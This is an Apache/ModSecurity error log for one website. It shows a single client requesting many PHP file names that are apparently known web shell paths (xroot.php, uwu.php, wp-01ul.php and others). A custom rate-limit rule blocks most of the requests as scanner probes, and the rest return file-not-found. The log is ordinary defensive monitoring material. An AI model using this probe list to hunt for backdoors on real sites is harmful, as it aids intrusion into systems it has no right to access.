[Sat Apr 25 22:22:31.163661 2026] [:error] [pid 59898:tid 59975] [client 20.203.160.110:7661] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tires.php"] [unique_id "aezOJx-4vImxb0kbdze2twAAANU"]
[Sat Apr 25 22:22:33.747511 2026] [:error] [pid 59896:tid 59907] [client 20.203.160.110:42035] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tires.php"] [unique_id "aezOKbLLzhtkd-OXUgAKQgAAAEc"]
[Sat Apr 25 22:22:40.085447 2026] [:error] [pid 3212:tid 3231] [client 20.203.160.110:7419] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xroot.php"] [unique_id "aezOMPg-28TY8_YLtUdSaQAAARE"]
[Sat Apr 25 22:22:42.849119 2026] [:error] [pid 3212:tid 3219] [client 20.203.160.110:10840] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xroot.php"] [unique_id "aezOMvg-28TY8_YLtUdScgAAAQU"]
[Sat Apr 25 22:22:46.246392 2026] [:error] [pid 3212:tid 3215] [client 20.203.160.110:7397] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xroot.php"] [unique_id "aezONvg-28TY8_YLtUdSeQAAAQE"]
[Sat Apr 25 22:22:48.691697 2026] [:error] [pid 3212:tid 3218] [client 20.203.160.110:10819] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xroot.php"] [unique_id "aezOOPg-28TY8_YLtUdSgAAAAQQ"]
[Sat Apr 25 22:22:53.936768 2026] [:error] [pid 3212:tid 3227] [client 20.203.160.110:12341] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tea.php"] [unique_id "aezOPfg-28TY8_YLtUdSlAAAAQ0"]
[Sat Apr 25 22:22:56.408441 2026] [:error] [pid 3212:tid 3218] [client 20.203.160.110:23728] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tea.php"] [unique_id "aezOQPg-28TY8_YLtUdSnAAAAQQ"]
[Sat Apr 25 22:22:58.208877 2026] [:error] [pid 3212:tid 3232] [client 20.203.160.110:41992] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tea.php"] [unique_id "aezOQvg-28TY8_YLtUdSowAAARI"]
[Sat Apr 25 22:22:59.531190 2026] [:error] [pid 59985:tid 60010] [client 20.203.160.110:10869] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tea.php"] [unique_id "aezOQwF_zDvEhKvyTH7CcwAAABc"]
[Sat Apr 25 22:23:04.082764 2026] [:error] [pid 59896:tid 59921] [client 20.203.160.110:11254] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/uwu.php"] [unique_id "aezOSLLLzhtkd-OXUgAKZAAAAFU"]
[Sat Apr 25 22:23:08.649335 2026] [:error] [pid 3212:tid 3228] [client 20.203.160.110:19682] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/uwu.php"] [unique_id "aezOTPg-28TY8_YLtUdStwAAAQ4"]
[Sat Apr 25 22:23:10.287062 2026] [:error] [pid 3212:tid 3231] [client 20.203.160.110:42038] File does not exist: /usr/local/apache/htdocs/suspended-page/uwu.php
[Sat Apr 25 22:23:10.561119 2026] [:error] [pid 3212:tid 3216] [client 20.203.160.110:42038] File does not exist: /usr/local/apache/htdocs/suspended-page/aios-bootstrap.php
[Sat Apr 25 22:23:10.842100 2026] [:error] [pid 3212:tid 3233] [client 20.203.160.110:42038] File does not exist: /usr/local/apache/htdocs/suspended-page/one.php
[Sat Apr 25 22:23:11.114620 2026] [:error] [pid 3212:tid 3232] [client 20.203.160.110:42038] File does not exist: /usr/local/apache/htdocs/suspended-page/006.php
[Sat Apr 25 22:23:11.391537 2026] [:error] [pid 3212:tid 3236] [client 20.203.160.110:42038] File does not exist: /usr/local/apache/htdocs/suspended-page/kikikoko.php
[Sat Apr 25 22:23:11.671321 2026] [:error] [pid 3212:tid 3214] [client 20.203.160.110:42038] File does not exist: /usr/local/apache/htdocs/suspended-page/2026w.php
[Sat Apr 25 22:23:11.941425 2026] [:error] [pid 3212:tid 3225] [client 20.203.160.110:42038] File does not exist: /usr/local/apache/htdocs/suspended-page/11.php
[Sat Apr 25 22:23:12.210745 2026] [:error] [pid 3212:tid 3235] [client 20.203.160.110:42038] File does not exist: /usr/local/apache/htdocs/suspended-page/amxloxxr.php
[Sat Apr 25 22:23:12.480322 2026] [:error] [pid 3212:tid 3234] [client 20.203.160.110:42038] File does not exist: /usr/local/apache/htdocs/suspended-page/qhupyoon.php
[Sat Apr 25 22:23:12.757934 2026] [:error] [pid 3212:tid 3216] [client 20.203.160.110:42038] File does not exist: /usr/local/apache/htdocs/suspended-page/dx.php
[Sat Apr 25 22:23:13.027443 2026] [:error] [pid 3212:tid 3232] [client 20.203.160.110:42038] File does not exist: /usr/local/apache/htdocs/suspended-page/fs.php
[Sat Apr 25 22:23:13.318616 2026] [:error] [pid 3212:tid 3236] [client 20.203.160.110:42038] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/6ap7e.php"] [unique_id "aezOUfg-28TY8_YLtUdS2AAAARY"]
[Sat Apr 25 22:23:20.140908 2026] [:error] [pid 59896:tid 59917] [client 20.203.160.110:15866] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/6ap7e.php"] [unique_id "aezOWLLLzhtkd-OXUgAKdwAAAFE"]
[Sat Apr 25 22:23:20.881918 2026] [:error] [pid 59896:tid 59904] [client 20.203.160.110:45202] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/6ap7e.php"] [unique_id "aezOWLLLzhtkd-OXUgAKeAAAAEQ"]
[Sat Apr 25 22:23:21.689618 2026] [:error] [pid 3212:tid 3220] [client 20.203.160.110:22103] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/6ap7e.php"] [unique_id "aezOWfg-28TY8_YLtUdS8AAAAQY"]
[Sat Apr 25 22:23:22.858425 2026] [:error] [pid 59896:tid 59908] [client 20.203.160.110:22136] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cilus.php"] [unique_id "aezOWrLLzhtkd-OXUgAKegAAAEg"]
[Sat Apr 25 22:23:26.939366 2026] [:error] [pid 59985:tid 59990] [client 20.203.160.110:49759] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cilus.php"] [unique_id "aezOXgF_zDvEhKvyTH7CngAAAAM"]
[Sat Apr 25 22:23:30.686997 2026] [:error] [pid 3212:tid 3227] [client 20.203.160.110:12724] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cilus.php"] [unique_id "aezOYvg-28TY8_YLtUdTBQAAAQ0"]
[Sat Apr 25 22:23:31.852803 2026] [:error] [pid 3212:tid 3237] [client 20.203.160.110:7287] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cilus.php"] [unique_id "aezOY_g-28TY8_YLtUdTBwAAARc"]
[Sat Apr 25 22:23:36.788845 2026] [:error] [pid 3212:tid 3217] [client 20.203.160.110:42059] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/link.php"] [unique_id "aezOaPg-28TY8_YLtUdTGgAAAQM"]
[Sat Apr 25 22:23:38.680031 2026] [:error] [pid 3212:tid 3223] [client 20.203.160.110:8004] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/link.php"] [unique_id "aezOavg-28TY8_YLtUdTJQAAAQk"]
[Sat Apr 25 22:23:39.905569 2026] [:error] [pid 59898:tid 59959] [client 20.203.160.110:16636] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/link.php"] [unique_id "aezOax-4vImxb0kbdze20QAAAMU"]
[Sat Apr 25 22:23:41.343671 2026] [:error] [pid 59985:tid 59987] [client 20.203.160.110:48447] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/link.php"] [unique_id "aezObQF_zDvEhKvyTH7CrwAAAAA"]
[Sat Apr 25 22:23:43.157287 2026] [:error] [pid 59985:tid 60005] [client 20.203.160.110:48396] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fone1.php"] [unique_id "aezObwF_zDvEhKvyTH7CtAAAABI"]
[Sat Apr 25 22:23:45.659882 2026] [:error] [pid 59897:tid 59937] [client 20.203.160.110:43932] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fone1.php"] [unique_id "aezOcfBrrkdzpEbmK4eSawAAAIo"]
[Sat Apr 25 22:23:46.926574 2026] [:error] [pid 59896:tid 59915] [client 20.203.160.110:35478] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fone1.php"] [unique_id "aezOcrLLzhtkd-OXUgAKjgAAAE8"]
[Sat Apr 25 22:23:50.310541 2026] [:error] [pid 59985:tid 59989] [client 20.203.160.110:3981] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fone1.php"] [unique_id "aezOdgF_zDvEhKvyTH7CwgAAAAI"]
[Sat Apr 25 22:23:55.323100 2026] [:error] [pid 3212:tid 3224] [client 20.203.160.110:3995] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zogy1.php"] [unique_id "aezOe_g-28TY8_YLtUdTTQAAAQo"]
[Sat Apr 25 22:23:59.457733 2026] [:error] [pid 3212:tid 3231] [client 20.203.160.110:17677] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zogy1.php"] [unique_id "aezOf_g-28TY8_YLtUdTVAAAARE"]
[Sat Apr 25 22:24:03.308192 2026] [:error] [pid 59896:tid 59904] [client 20.203.160.110:25623] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zogy1.php"] [unique_id "aezOg7LLzhtkd-OXUgAKmAAAAEQ"]
[Sat Apr 25 22:24:07.383665 2026] [:error] [pid 59897:tid 59950] [client 20.203.160.110:41408] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zoper1.php"] [unique_id "aezOh_BrrkdzpEbmK4eSeQAAAJc"]
[Sat Apr 25 22:24:09.228475 2026] [:error] [pid 59897:tid 59933] [client 20.203.160.110:7456] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zoper1.php"] [unique_id "aezOifBrrkdzpEbmK4eSfAAAAIY"]
[Sat Apr 25 22:24:13.142797 2026] [:error] [pid 3212:tid 3232] [client 20.203.160.110:25619] File does not exist: /usr/local/apache/htdocs/suspended-page/zoper1.php
[Sat Apr 25 22:24:13.412291 2026] [:error] [pid 3212:tid 3231] [client 20.203.160.110:25619] File does not exist: /usr/local/apache/htdocs/suspended-page/atkno.php
[Sat Apr 25 22:24:13.693848 2026] [:error] [pid 3212:tid 3225] [client 20.203.160.110:25619] File does not exist: /usr/local/apache/htdocs/suspended-page/de.php
[Sat Apr 25 22:24:13.980759 2026] [:error] [pid 3212:tid 3221] [client 20.203.160.110:25619] File does not exist: /usr/local/apache/htdocs/suspended-page/insta.php
[Sat Apr 25 22:24:14.250553 2026] [:error] [pid 3212:tid 3224] [client 20.203.160.110:25619] File does not exist: /usr/local/apache/htdocs/suspended-page/wpxl.php
[Sat Apr 25 22:24:14.530463 2026] [:error] [pid 3212:tid 3214] [client 20.203.160.110:25619] File does not exist: /usr/local/apache/htdocs/suspended-page/admlo.php
[Sat Apr 25 22:24:14.800128 2026] [:error] [pid 3212:tid 3229] [client 20.203.160.110:25619] File does not exist: /usr/local/apache/htdocs/suspended-page/f5.php
[Sat Apr 25 22:24:15.074869 2026] [:error] [pid 3212:tid 3222] [client 20.203.160.110:25619] File does not exist: /usr/local/apache/htdocs/suspended-page/ptanf.php
[Sat Apr 25 22:24:15.344551 2026] [:error] [pid 3212:tid 3234] [client 20.203.160.110:25619] File does not exist: /usr/local/apache/htdocs/suspended-page/ctex1.php
[Sat Apr 25 22:24:15.616487 2026] [:error] [pid 3212:tid 3235] [client 20.203.160.110:25619] File does not exist: /usr/local/apache/htdocs/suspended-page/gelio1.php
[Sat Apr 25 22:24:15.888558 2026] [:error] [pid 3212:tid 3238] [client 20.203.160.110:25619] File does not exist: /usr/local/apache/htdocs/suspended-page/ah25.php
[Sat Apr 25 22:24:16.160338 2026] [:error] [pid 3212:tid 3219] [client 20.203.160.110:25619] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/w.php"] [unique_id "aezOkPg-28TY8_YLtUdTgwAAAQU"]
[Sat Apr 25 22:24:17.729669 2026] [:error] [pid 59897:tid 59936] [client 20.203.160.110:39389] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/w.php"] [unique_id "aezOkfBrrkdzpEbmK4eSgQAAAIk"]
[Sat Apr 25 22:24:23.314948 2026] [:error] [pid 59897:tid 59927] [client 20.203.160.110:39360] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/w.php"] [unique_id "aezOl_BrrkdzpEbmK4eShgAAAIA"]
[Sat Apr 25 22:24:25.631676 2026] [:error] [pid 3212:tid 3230] [client 20.203.160.110:42751] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/w.php"] [unique_id "aezOmfg-28TY8_YLtUdTpwAAARA"]
[Sat Apr 25 22:24:30.436652 2026] [:error] [pid 59898:tid 59956] [client 20.203.160.110:41458] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/axe.php"] [unique_id "aezOnh-4vImxb0kbdze29gAAAMI"]
[Sat Apr 25 22:24:31.972398 2026] [:error] [pid 3212:tid 3238] [client 20.203.160.110:25661] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/axe.php"] [unique_id "aezOn_g-28TY8_YLtUdTyAAAARg"]
[Sat Apr 25 22:24:36.222499 2026] [:error] [pid 59897:tid 59940] [client 20.203.160.110:50618] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/axe.php"] [unique_id "aezOpPBrrkdzpEbmK4eSiwAAAI0"]
[Sat Apr 25 22:24:38.588519 2026] [:error] [pid 59897:tid 59931] [client 20.203.160.110:9304] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/axe.php"] [unique_id "aezOpvBrrkdzpEbmK4eSjQAAAIQ"]
[Sat Apr 25 22:24:41.383089 2026] [:error] [pid 59985:tid 60009] [client 20.203.160.110:30750] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/index0.php"] [unique_id "aezOqQF_zDvEhKvyTH7C4AAAABY"]
[Sat Apr 25 22:24:44.295532 2026] [:error] [pid 59897:tid 59942] [client 20.203.160.110:7611] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/index0.php"] [unique_id "aezOrPBrrkdzpEbmK4eSlgAAAI8"]
[Sat Apr 25 22:24:46.713280 2026] [:error] [pid 59896:tid 59915] [client 20.203.160.110:50594] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/index0.php"] [unique_id "aezOrrLLzhtkd-OXUgAKyAAAAE8"]
[Sat Apr 25 22:24:48.384292 2026] [:error] [pid 59985:tid 59995] [client 20.203.160.110:38113] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/index0.php"] [unique_id "aezOsAF_zDvEhKvyTH7C6QAAAAg"]
[Sat Apr 25 22:24:49.641677 2026] [:error] [pid 59898:tid 59964] [client 20.203.160.110:7218] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-01ul.php"] [unique_id "aezOsR-4vImxb0kbdze2_QAAAMo"]
[Sat Apr 25 22:24:55.667441 2026] [:error] [pid 59896:tid 59920] [client 20.203.160.110:50152] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-01ul.php"] [unique_id "aezOt7LLzhtkd-OXUgAKzQAAAFQ"]
[Sat Apr 25 22:24:57.464023 2026] [:error] [pid 59985:tid 59996] [client 20.203.160.110:7224] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-01ul.php"] [unique_id "aezOuQF_zDvEhKvyTH7C8wAAAAk"]
[Sat Apr 25 22:25:04.122533 2026] [:error] [pid 59897:tid 59951] [client 20.203.160.110:51965] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/e3.php"] [unique_id "aezOwPBrrkdzpEbmK4eSqAAAAJg"]
